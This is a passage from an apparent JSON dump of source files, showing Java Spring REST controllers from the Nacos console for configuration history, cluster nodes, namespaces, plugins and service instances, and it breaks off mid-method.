configAdvanceInfo.put(\"content\", configDetail);\n        }\n        int pageNo = pageForm.getPageNo();\n        int pageSize = pageForm.getPageSize();\n        String namespaceId = NamespaceUtil.processNamespaceParameter(configForm.getNamespaceId());\n        String dataId = configForm.getDataId();\n        String groupName = configForm.getGroupName();\n        \n        return Result.success(\n                configProxy.getConfigListByContent(search, pageNo, pageSize, dataId, groupName, namespaceId,\n                        configAdvanceInfo));\n    }\n    \n    /**\n     * Subscribe to configured client information.\n     *\n     * @param configForm        config form\n     * @param aggregationForm   aggregation form\n     * @return Result containing listener status.\n     * @throws Exception If an error occurs during the operation.\n     */\n    @GetMapping(\"/listener\")\n    @Secured(action = ActionTypes.READ, signType = SignType.CONFIG, apiType = ApiType.CONSOLE_API)\n    public Result<ConfigListenerInfo> getListeners(ConfigFormV3 configForm, AggregationForm aggregationForm)\n            throws Exception {\n        configForm.validate();\n        aggregationForm.validate();\n        String namespaceId = NamespaceUtil.processNamespaceParameter(configForm.getNamespaceId());\n        String groupName = configForm.getGroupName();\n        String dataId = configForm.getDataId();\n        return Result.success(\n                configProxy.getListeners(dataId, groupName, namespaceId, aggregationForm.isAggregation()));\n    }\n    \n    /**\n     * Get subscribe information from client side.\n     */\n    @GetMapping(\"/listener/ip\")\n    @Secured(resource = Constants.LISTENER_CONTROLLER_PATH, action = ActionTypes.READ, signType = SignType.CONFIG, apiType = ApiType.CONSOLE_API)\n    public Result<ConfigListenerInfo> getAllSubClientConfigByIp(@RequestParam(\"ip\") String ip,\n            @RequestParam(value = \"all\", required = false) boolean all,\n            @RequestParam(value = \"namespaceId\", required = false) String namespaceId, AggregationForm aggregationForm)\n            throws NacosException {\n        namespaceId = NamespaceUtil.processNamespaceParameter(namespaceId);\n        return Result.success(\n                configProxy.getAllSubClientConfigByIp(ip, all, namespaceId, aggregationForm.isAggregation()));\n    }\n    \n    /**\n     * New version export config adds metadata.yml file to record config metadata.\n     *\n     * @param configForm  config form\n     * @param ids         List of config IDs.\n     * @return ResponseEntity containing the exported configuration.\n     * @throws Exception If an error occurs during the export.\n     */\n    @GetMapping(\"/export2\")\n    @Secured(action = ActionTypes.READ, signType = SignType.CONFIG, apiType = ApiType.CONSOLE_API)\n    public ResponseEntity<byte[]> exportConfigV2(ConfigFormV3 configForm,\n            @RequestParam(value = \"ids\", required = false) List<Long> ids) throws Exception {\n        configForm.blurSearchValidate();\n        ids.removeAll(Collections.singleton(null));\n        String namespaceId = NamespaceUtil.processNamespaceParameter(configForm.getNamespaceId());\n        String dataId = configForm.getDataId();\n        String groupName = configForm.getGroupName();\n        String appName = configForm.getAppName();\n        \n        return configProxy.exportConfigV2(dataId, groupName, namespaceId, appName, ids);\n    }\n    \n    /**\n     * Import and publish configuration.\n     *\n     * @param request     HTTP servlet request.\n     * @param srcUser     Source user string value.\n     * @param namespaceId Namespace string value.\n     * @param policy      Policy model.\n     * @param file        Multipart file containing the configuration data.\n     * @return Result containing a map of the import status.\n     * @throws NacosException If a Nacos-specific error occurs.\n     */\n    @PostMapping(\"/import\")\n    @Secured(action = ActionTypes.WRITE, signType = SignType.CONFIG, apiType = ApiType.CONSOLE_API)\n    public Result<Map<String, Object>> importAndPublishConfig(HttpServletRequest request,\n            @RequestParam(required = false) String srcUser,\n            @RequestParam(value = \"namespaceId\", required = false) String namespaceId,\n            @RequestParam(value = \"policy\", defaultValue = \"ABORT\") SameConfigPolicy policy, MultipartFile file)\n            throws NacosException {\n        namespaceId = NamespaceUtil.processNamespaceParameter(namespaceId);\n        \n        if (StringUtils.isBlank(srcUser)) {\n            srcUser = RequestUtil.getSrcUserName(request);\n        }\n        final String srcIp = RequestUtil.getRemoteIp(request);\n        String requestIpApp = RequestUtil.getAppName(request);\n        \n        return configProxy.importAndPublishConfig(srcUser, namespaceId, policy, file, srcIp, requestIpApp);\n    }\n    \n    /**\n     * Clone configuration.\n     *\n     * @param request         HTTP servlet request.\n     * @param srcUser         Source user string value.\n     * @param namespaceId     Namespace string value.\n     * @param configBeansList List of configuration beans.\n     * @param policy          Policy model.\n     * @return Result containing a map of the clone status.\n     * @throws NacosException If a Nacos-specific error occurs.\n     */\n    @PostMapping(\"/clone\")\n    @Secured(action = ActionTypes.WRITE, signType = SignType.CONFIG, apiType = ApiType.CONSOLE_API, tags = {\n            com.alibaba.nacos.plugin.auth.constant.Constants.Tag.SECURED_SPECIAL_TAGS})\n    public Result<Map<String, Object>> cloneConfig(HttpServletRequest request,\n            @RequestParam(required = false) String srcUser,\n            @RequestParam(value = \"targetNamespaceId\") String namespaceId,\n            @RequestBody List<SameNamespaceCloneConfigBean> configBeansList,\n            @RequestParam(value = \"policy\", defaultValue = \"ABORT\") SameConfigPolicy policy) throws NacosException {\n        configBeansList.removeAll(Collections.singleton(null));\n        namespaceId = NamespaceUtil.processNamespaceParameter(namespaceId);\n        if (StringUtils.isBlank(srcUser)) {\n            srcUser = RequestUtil.getSrcUserName(request);\n        }\n        final String srcIp = RequestUtil.getRemoteIp(request);\n        String requestIpApp = RequestUtil.getAppName(request);\n        \n        return configProxy.cloneConfig(srcUser, namespaceId, configBeansList, policy, srcIp, requestIpApp);\n    }\n    \n    /**\n     * Execute to remove beta operation.\n     *\n     * @param httpServletRequest HTTP request containing client details.\n     * @param configForm         config form\n     * @return Result indicating the outcome of the operation.\n     * @throws NacosException If a Nacos-specific error occurs.\n     */\n    @DeleteMapping(\"/beta\")\n    @Secured(action = ActionTypes.WRITE, signType = SignType.CONFIG)\n    public Result<Boolean> stopBeta(HttpServletRequest httpServletRequest, ConfigFormV3 configForm)\n            throws NacosException {\n        configForm.validate();\n        String remoteIp = getRemoteIp(httpServletRequest);\n        String requestIpApp = RequestUtil.getAppName(httpServletRequest);\n        String dataId = configForm.getDataId();\n        String groupName = configForm.getGroupName();\n        String namespaceId = NamespaceUtil.processNamespaceParameter(configForm.getNamespaceId());\n        String srcUser = RequestUtil.getSrcUserName(httpServletRequest);\n        boolean success = configProxy.removeBetaConfig(dataId, groupName, namespaceId, remoteIp, requestIpApp, srcUser);\n        if (!success) {\n            return Result.failure(HttpStatus.INTERNAL_SERVER_ERROR.value(),\n                    HttpStatus.INTERNAL_SERVER_ERROR.getReasonPhrase(), false);\n        }\n        return Result.success(true);\n    }\n    \n    /**\n     * Execute to query beta operation.\n     *\n     * @param configForm  config form\n     * @return Result containing the ConfigInfo4Beta details.\n     * @throws NacosException If a Nacos-specific error occurs.\n     */\n    @GetMapping(\"/beta\")\n    @Secured(action = ActionTypes.READ, signType = SignType.CONFIG)\n    public Result<ConfigGrayInfo> queryBeta(ConfigFormV3 configForm) throws NacosException {\n        configForm.validate();\n        String dataId = configForm.getDataId();\n        String groupName = configForm.getGroupName();\n        String namespaceId = NamespaceUtil.processNamespaceParameter(configForm.getNamespaceId());\n        return Result.success(configProxy.queryBetaConfig(dataId, groupName, namespaceId));\n    }\n    \n}\n\n\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/controller/v3/config/ConsoleHistoryController.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.console.controller.v3.config;\n\nimport com.alibaba.nacos.api.annotation.NacosApi;\nimport com.alibaba.nacos.api.config.model.ConfigBasicInfo;\nimport com.alibaba.nacos.api.config.model.ConfigHistoryBasicInfo;\nimport com.alibaba.nacos.api.config.model.ConfigHistoryDetailInfo;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.model.v2.Result;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.common.utils.NamespaceUtil;\nimport com.alibaba.nacos.config.server.model.form.ConfigFormV3;\nimport com.alibaba.nacos.config.server.paramcheck.ConfigDefaultHttpParamExtractor;\nimport com.alibaba.nacos.console.proxy.config.HistoryProxy;\nimport com.alibaba.nacos.core.model.form.PageForm;\nimport com.alibaba.nacos.core.paramcheck.ExtractorManager;\nimport com.alibaba.nacos.plugin.auth.constant.ActionTypes;\nimport com.alibaba.nacos.plugin.auth.constant.ApiType;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport java.util.List;\n\n/**\n * Controller for handling HTTP requests related to history operations.\n *\n * @author zhangyukun on:2024/8/16\n */\n@NacosApi\n@RestController\n@RequestMapping(\"/v3/console/cs/history\")\n@ExtractorManager.Extractor(httpExtractor = ConfigDefaultHttpParamExtractor.class)\npublic class ConsoleHistoryController {\n    \n    private final HistoryProxy historyProxy;\n    \n    @Autowired\n    public ConsoleHistoryController(HistoryProxy historyProxy) {\n        this.historyProxy = historyProxy;\n    }\n    \n    /**\n     * Query the detailed configuration history information. notes:\n     *\n     * @param nid         history_config_info nid\n     * @param configForm  config form\n     * @return history config info\n     */\n    @GetMapping\n    @Secured(action = ActionTypes.READ, signType = SignType.CONFIG, apiType = ApiType.CONSOLE_API)\n    public Result<ConfigHistoryDetailInfo> getConfigHistoryInfo(ConfigFormV3 configForm, @RequestParam(\"nid\") Long nid)\n            throws NacosException {\n        configForm.validate();\n        String dataId = configForm.getDataId();\n        String groupName = configForm.getGroupName();\n        String namespaceId = NamespaceUtil.processNamespaceParameter(configForm.getNamespaceId());\n        return Result.success(historyProxy.getConfigHistoryInfo(dataId, groupName, namespaceId, nid));\n    }\n    \n    /**\n     * Query the list history config. notes:\n     *\n     * @param configForm  config form\n     * @param pageForm    page form\n     * @return the page of history config.\n     */\n    @GetMapping(\"/list\")\n    @Secured(action = ActionTypes.READ, signType = SignType.CONFIG, apiType = ApiType.CONSOLE_API)\n    public Result<Page<ConfigHistoryBasicInfo>> listConfigHistory(ConfigFormV3 configForm, PageForm pageForm)\n            throws NacosException {\n        configForm.validate();\n        pageForm.validate();\n        int pageSize = Math.min(500, pageForm.getPageSize());\n        int pageNo = pageForm.getPageNo();\n        String dataId = configForm.getDataId();\n        String groupName = configForm.getGroupName();\n        String namespaceId = NamespaceUtil.processNamespaceParameter(configForm.getNamespaceId());\n        return Result.success(historyProxy.listConfigHistory(dataId, groupName, namespaceId, pageNo, pageSize));\n    }\n    \n    /**\n     * Query previous config history information. notes:\n     *\n     * @param id          config_info id\n     * @param configForm  config form\n     * @return history config info\n     */\n    @GetMapping(value = \"/previous\")\n    @Secured(action = ActionTypes.READ, signType = SignType.CONFIG, apiType = ApiType.CONSOLE_API)\n    public Result<ConfigHistoryDetailInfo> getPreviousConfigHistoryInfo(ConfigFormV3 configForm,\n            @RequestParam(\"id\") Long id) throws NacosException {\n        configForm.validate();\n        String dataId = configForm.getDataId();\n        String groupName = configForm.getGroupName();\n        String namespaceId = NamespaceUtil.processNamespaceParameter(configForm.getNamespaceId());\n        return Result.success(historyProxy.getPreviousConfigHistoryInfo(dataId, groupName, namespaceId, id));\n    }\n    \n    /**\n     * Query configs list by namespace.\n     *\n     * @param namespaceId config_info namespace\n     * @return list\n     */\n    @GetMapping(value = \"/configs\")\n    @Secured(action = ActionTypes.READ, signType = SignType.CONFIG, apiType = ApiType.CONSOLE_API)\n    public Result<List<ConfigBasicInfo>> getConfigsByTenant(@RequestParam(\"namespaceId\") String namespaceId)\n            throws NacosException {\n        namespaceId = NamespaceUtil.processNamespaceParameter(namespaceId);\n        return Result.success(historyProxy.getConfigsByTenant(namespaceId));\n    }\n    \n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/controller/v3/core/ConsoleClusterController.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.console.controller.v3.core;\n\nimport com.alibaba.nacos.api.annotation.NacosApi;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.response.NacosMember;\nimport com.alibaba.nacos.api.model.v2.Result;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.console.proxy.core.ClusterProxy;\nimport com.alibaba.nacos.core.utils.Commons;\nimport com.alibaba.nacos.plugin.auth.constant.ActionTypes;\nimport com.alibaba.nacos.plugin.auth.constant.ApiType;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport java.util.Collection;\n\n/**\n * Controller for handling HTTP requests related to cluster operations.\n *\n * @author zhangyukun on:2024/8/16\n */\n@NacosApi\n@RestController\n@RequestMapping(\"/v3/console/core/cluster\")\npublic class ConsoleClusterController {\n    \n    private final ClusterProxy clusterProxy;\n    \n    /**\n     * Constructs a new ConsoleClusterController with the provided ClusterProxy.\n     *\n     * @param clusterProxy the proxy used for handling cluster-related operations\n     */\n    public ConsoleClusterController(ClusterProxy clusterProxy) {\n        this.clusterProxy = clusterProxy;\n    }\n    \n    /**\n     * The console displays the list of cluster members.\n     *\n     * @param ipKeyWord search keyWord\n     * @return all members\n     */\n    @GetMapping(value = \"/nodes\")\n    @Secured(resource = Commons.NACOS_CORE_CONTEXT\n            + \"/cluster\", action = ActionTypes.READ, signType = SignType.CONSOLE, apiType = ApiType.CONSOLE_API)\n    public Result<Collection<NacosMember>> getNodeList(@RequestParam(value = \"keyword\", required = false) String ipKeyWord)\n            throws NacosException {\n        Collection<NacosMember> result = clusterProxy.getNodeList(ipKeyWord);\n        return Result.success(result);\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/controller/v3/core/ConsoleNamespaceController.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.console.controller.v3.core;\n\nimport com.alibaba.nacos.api.annotation.NacosApi;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.response.Namespace;\nimport com.alibaba.nacos.api.model.v2.Result;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.console.paramcheck.ConsoleDefaultHttpParamExtractor;\nimport com.alibaba.nacos.console.proxy.core.NamespaceProxy;\nimport com.alibaba.nacos.core.namespace.model.form.CreateNamespaceForm;\nimport com.alibaba.nacos.core.namespace.model.form.NamespaceForm;\nimport com.alibaba.nacos.core.paramcheck.ExtractorManager;\nimport com.alibaba.nacos.plugin.auth.constant.ActionTypes;\nimport com.alibaba.nacos.plugin.auth.constant.ApiType;\nimport com.alibaba.nacos.plugin.auth.constant.Constants;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\nimport org.springframework.web.bind.annotation.DeleteMapping;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.PutMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport java.util.List;\n\n/**\n * Controller for handling HTTP requests related to namespace operations.\n *\n * @author zhangyukun on:2024/8/27\n */\n@NacosApi\n@RestController\n@RequestMapping(\"/v3/console/core/namespace\")\n@ExtractorManager.Extractor(httpExtractor = ConsoleDefaultHttpParamExtractor.class)\npublic class ConsoleNamespaceController {\n    \n    private final NamespaceProxy namespaceProxy;\n    \n    public ConsoleNamespaceController(NamespaceProxy namespaceProxy) {\n        this.namespaceProxy = namespaceProxy;\n    }\n    \n    /**\n     * Get namespace list.\n     *\n     * @return namespace list\n     */\n    @GetMapping(\"/list\")\n    @Secured(resource = Constants.Resource.CONSOLE_RESOURCE_NAME_PREFIX + \"namespaces\",\n            action = ActionTypes.READ, signType = SignType.CONSOLE, apiType = ApiType.CONSOLE_API, tags = Constants.Tag.ONLY_IDENTITY)\n    public Result<List<Namespace>> getNamespaceList() throws NacosException {\n        return Result.success(namespaceProxy.getNamespaceList());\n    }\n    \n    /**\n     * get namespace all info by namespace id.\n     *\n     * @param namespaceId namespaceId\n     * @return namespace all info\n     */\n    @GetMapping()\n    @Secured(resource = Constants.Resource.CONSOLE_RESOURCE_NAME_PREFIX\n            + \"namespaces\", action = ActionTypes.READ, signType = SignType.CONSOLE, apiType = ApiType.CONSOLE_API)\n    public Result<Namespace> getNamespaceDetail(@RequestParam(\"namespaceId\") String namespaceId) throws NacosException {\n        return Result.success(namespaceProxy.getNamespaceDetail(namespaceId));\n    }\n    \n    /**\n     * create namespace.\n     *\n     * @param namespaceForm create namespace form.\n     * @return whether create ok\n     */\n    @PostMapping\n    @Secured(resource = Constants.Resource.CONSOLE_RESOURCE_NAME_PREFIX\n            + \"namespaces\", action = ActionTypes.WRITE, signType = SignType.CONSOLE, apiType = ApiType.CONSOLE_API)\n    public Result<Boolean> createNamespace(CreateNamespaceForm namespaceForm) throws NacosException {\n        namespaceForm.validate();\n        String namespaceId = namespaceForm.getCustomNamespaceId();\n        String namespaceName = namespaceForm.getNamespaceName();\n        String namespaceDesc = namespaceForm.getNamespaceDesc();\n        return Result.success(namespaceProxy.createNamespace(namespaceId, namespaceName, namespaceDesc));\n    }\n    \n    /**\n     * edit namespace.\n     *\n     * @param namespaceForm namespace form\n     * @return whether edit ok\n     */\n    @PutMapping\n    @Secured(resource = Constants.Resource.CONSOLE_RESOURCE_NAME_PREFIX\n            + \"namespaces\", action = ActionTypes.WRITE, signType = SignType.CONSOLE, apiType = ApiType.CONSOLE_API)\n    public Result<Boolean> updateNamespace(NamespaceForm namespaceForm) throws NacosException {\n        namespaceForm.validate();\n        return Result.success(namespaceProxy.updateNamespace(namespaceForm));\n    }\n    \n    /**\n     * delete namespace by id.\n     *\n     * @param namespaceId namespace ID\n     * @return whether delete ok\n     */\n    @DeleteMapping\n    @Secured(resource = Constants.Resource.CONSOLE_RESOURCE_NAME_PREFIX\n            + \"namespaces\", action = ActionTypes.WRITE, signType = SignType.CONSOLE, apiType = ApiType.CONSOLE_API)\n    public Result<Boolean> deleteNamespace(@RequestParam(\"namespaceId\") String namespaceId) throws NacosException {\n        return Result.success(namespaceProxy.deleteNamespace(namespaceId));\n    }\n    \n    /**\n     * check namespaceId exist.\n     *\n     * @param namespaceId namespace id\n     * @return true if exist, otherwise false\n     */\n    @GetMapping(\"/exist\")\n    @Secured(resource = Constants.Resource.CONSOLE_RESOURCE_NAME_PREFIX + \"namespaces\",\n            action = ActionTypes.READ, signType = SignType.CONSOLE, apiType = ApiType.CONSOLE_API, tags = Constants.Tag.ONLY_IDENTITY)\n    public Result<Boolean> checkNamespaceIdExist(@RequestParam(\"customNamespaceId\") String namespaceId)\n            throws NacosException {\n        // customNamespaceId if blank means create new namespace with uuid.\n        if (StringUtils.isBlank(namespaceId)) {\n            return Result.success(false);\n        }\n        return Result.success(namespaceProxy.checkNamespaceIdExist(namespaceId));\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/controller/v3/core/ConsolePluginController.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.controller.v3.core;\n\nimport com.alibaba.nacos.api.annotation.NacosApi;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.api.model.v2.Result;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.console.paramcheck.ConsoleDefaultHttpParamExtractor;\nimport com.alibaba.nacos.console.proxy.core.PluginProxy;\nimport com.alibaba.nacos.core.paramcheck.ExtractorManager;\nimport com.alibaba.nacos.core.plugin.model.form.PluginConfigForm;\nimport com.alibaba.nacos.core.plugin.model.vo.PluginDetailVO;\nimport com.alibaba.nacos.core.plugin.model.vo.PluginInfoVO;\nimport com.alibaba.nacos.plugin.auth.constant.ActionTypes;\nimport com.alibaba.nacos.plugin.auth.constant.ApiType;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\nimport org.springframework.http.HttpStatus;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PutMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * Controller for handling HTTP requests related to plugin operations.\n *\n * @author WangzJi\n */\n@NacosApi\n@RestController\n@RequestMapping(\"/v3/console/plugin\")\n@ExtractorManager.Extractor(httpExtractor = ConsoleDefaultHttpParamExtractor.class)\npublic class ConsolePluginController {\n\n    private final PluginProxy pluginProxy;\n\n    public ConsolePluginController(PluginProxy pluginProxy) {\n        this.pluginProxy = pluginProxy;\n    }\n\n    /**\n     * Get plugin list.\n     *\n     * @param pluginType plugin type filter (optional)\n     * @return plugin list\n     */\n    @GetMapping(\"/list\")\n    @Secured(action = ActionTypes.READ, signType = SignType.CONSOLE, apiType = ApiType.CONSOLE_API)\n    public Result<List<PluginInfoVO>> getPluginList(\n            @RequestParam(value = \"pluginType\", required = false) String pluginType) throws NacosException {\n        return Result.success(pluginProxy.listPlugins(pluginType));\n    }\n\n    /**\n     * Get plugin detail.\n     *\n     * @param pluginType plugin type\n     * @param pluginName plugin name\n     * @return plugin detail\n     */\n    @GetMapping\n    @Secured(action = ActionTypes.READ, signType = SignType.CONSOLE, apiType = ApiType.CONSOLE_API)\n    public Result<PluginDetailVO> getPluginDetail(\n            @RequestParam(\"pluginType\") String pluginType,\n            @RequestParam(\"pluginName\") String pluginName) throws NacosException {\n        return Result.success(pluginProxy.getPluginDetail(pluginType, pluginName));\n    }\n\n    /**\n     * Enable or disable plugin.\n     *\n     * @param pluginType plugin type\n     * @param pluginName plugin name\n     * @param enabled    enable or disable\n     * @return success result\n     */\n    @PutMapping(\"/status\")\n    @Secured(action = ActionTypes.WRITE, signType = SignType.CONSOLE, apiType = ApiType.CONSOLE_API)\n    public Result<String> updatePluginStatus(\n            @RequestParam(\"pluginType\") String pluginType,\n            @RequestParam(\"pluginName\") String pluginName,\n            @RequestParam(\"enabled\") boolean enabled,\n            @RequestParam(value = \"localOnly\", defaultValue = \"false\") boolean localOnly) throws NacosException {\n        pluginProxy.updatePluginStatus(pluginType, pluginName, enabled, localOnly);\n        return Result.success(\"Plugin status updated successfully\");\n    }\n\n    /**\n     * Update plugin configuration.\n     *\n     * @param form plugin config form\n     * @return success result\n     */\n    @PutMapping(\"/config\")\n    @Secured(action = ActionTypes.WRITE, signType = SignType.CONSOLE, apiType = ApiType.CONSOLE_API)\n    public Result<String> updatePluginConfig(PluginConfigForm form) throws NacosException {\n        if (StringUtils.isBlank(form.getPluginType()) || StringUtils.isBlank(form.getPluginName())) {\n            throw new NacosApiException(HttpStatus.BAD_REQUEST.value(), ErrorCode.PARAMETER_VALIDATE_ERROR,\n                    \"Plugin type and name are required\");\n        }\n        if (form.getConfig() == null) {\n            throw new NacosApiException(HttpStatus.BAD_REQUEST.value(), ErrorCode.PARAMETER_VALIDATE_ERROR,\n                    \"Plugin configuration is required\");\n        }\n        pluginProxy.updatePluginConfig(form.getPluginType(), form.getPluginName(), form.getConfig(),\n                form.isLocalOnly());\n        return Result.success(\"Plugin configuration updated successfully\");\n    }\n\n    /**\n     * Get plugin availability across cluster nodes.\n     *\n     * @param pluginType plugin type\n     * @param pluginName plugin name\n     * @return node availability map\n     */\n    @GetMapping(\"/availability\")\n    @Secured(action = ActionTypes.READ, signType = SignType.CONSOLE, apiType = ApiType.CONSOLE_API)\n    public Result<Map<String, Boolean>> getPluginAvailability(\n            @RequestParam(\"pluginType\") String pluginType,\n            @RequestParam(\"pluginName\") String pluginName) throws NacosException {\n        return Result.success(pluginProxy.getPluginAvailability(pluginType, pluginName));\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/controller/v3/naming/ConsoleInstanceController.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.console.controller.v3.naming;\n\nimport com.alibaba.nacos.api.annotation.NacosApi;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.api.model.v2.Result;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.naming.pojo.builder.InstanceBuilder;\nimport com.alibaba.nacos.api.naming.utils.NamingUtils;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.console.proxy.naming.InstanceProxy;\nimport com.alibaba.nacos.core.control.TpsControl;\nimport com.alibaba.nacos.core.model.form.PageForm;\nimport com.alibaba.nacos.core.paramcheck.ExtractorManager;\nimport com.alibaba.nacos.naming.misc.UtilsAndCommons;\nimport com.alibaba.nacos.naming.model.form.InstanceForm;\nimport com.alibaba.nacos.naming.model.form.InstanceListForm;\nimport com.alibaba.nacos.naming.paramcheck.NamingDefaultHttpParamExtractor;\nimport com.alibaba.nacos.naming.web.CanDistro;\nimport com.alibaba.nacos.plugin.auth.constant.ActionTypes;\nimport com.alibaba.nacos.plugin.auth.constant.ApiType;\nimport org.springframework.http.HttpStatus;\nimport org.springframework.web.bind.annotation.PutMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * Controller for handling HTTP requests related to instance operations.\n *\n * @author zhangyukun on:2024/8/16\n */\n@NacosApi\n@RestController\n@RequestMapping(\"/v3/console/ns/instance\")\n@ExtractorManager.Extractor(httpExtractor = NamingDefaultHttpParamExtractor.class)\npublic class ConsoleInstanceController {\n    \n    private final InstanceProxy instanceProxy;\n    \n    /**\n     * Constructs a new ConsoleInstanceController with the provided InstanceProxy.\n     *\n     * @param instanceProxy the proxy used for handling instance-related operations\n     */\n    public ConsoleInstanceController(InstanceProxy instanceProxy) {\n        this.instanceProxy = instanceProxy;\n    }\n    \n    /**\n     * List instances of special service.\n     *\n     * @param instanceForm instance list form\n     * @param pageForm Page form\n     * @return instances information\n     */\n    @Secured(action = ActionTypes.READ, apiType = ApiType.CONSOLE_API)\n    @RequestMapping(\"/list\")\n    public Result<Page<? extends Instance>> getInstanceList(InstanceListForm instanceForm, PageForm pageForm)\n            throws NacosException {\n        instanceForm.validate();\n        pageForm.validate();\n        Page<? extends Instance> instancePage = instanceProxy.listInstances(instanceForm.getNamespaceId(),\n                instanceForm.getServiceName(), instanceForm.getGroupName(), instanceForm.getClusterName(),\n                pageForm.getPageNo(), pageForm.getPageSize());\n        return Result.success(instancePage);\n    }\n    \n    /**\n     * Update instance.\n     */\n    @CanDistro\n    @PutMapping\n    @TpsControl(pointName = \"NamingInstanceUpdate\", name = \"HttpNamingInstanceUpdate\")\n    @Secured(action = ActionTypes.WRITE, apiType = ApiType.CONSOLE_API)\n    public Result<String> updateInstance(InstanceForm instanceForm) throws NacosException {\n        // check param\n        instanceForm.validate();\n        checkWeight(instanceForm.getWeight());\n        // build instance\n        Instance instance = buildInstance(instanceForm);\n        instanceProxy.updateInstance(instanceForm, instance);\n        return Result.success(\"ok\");\n    }\n    \n    private void checkWeight(Double weight) throws NacosException {\n        if (weight > com.alibaba.nacos.naming.constants.Constants.MAX_WEIGHT_VALUE\n                || weight < 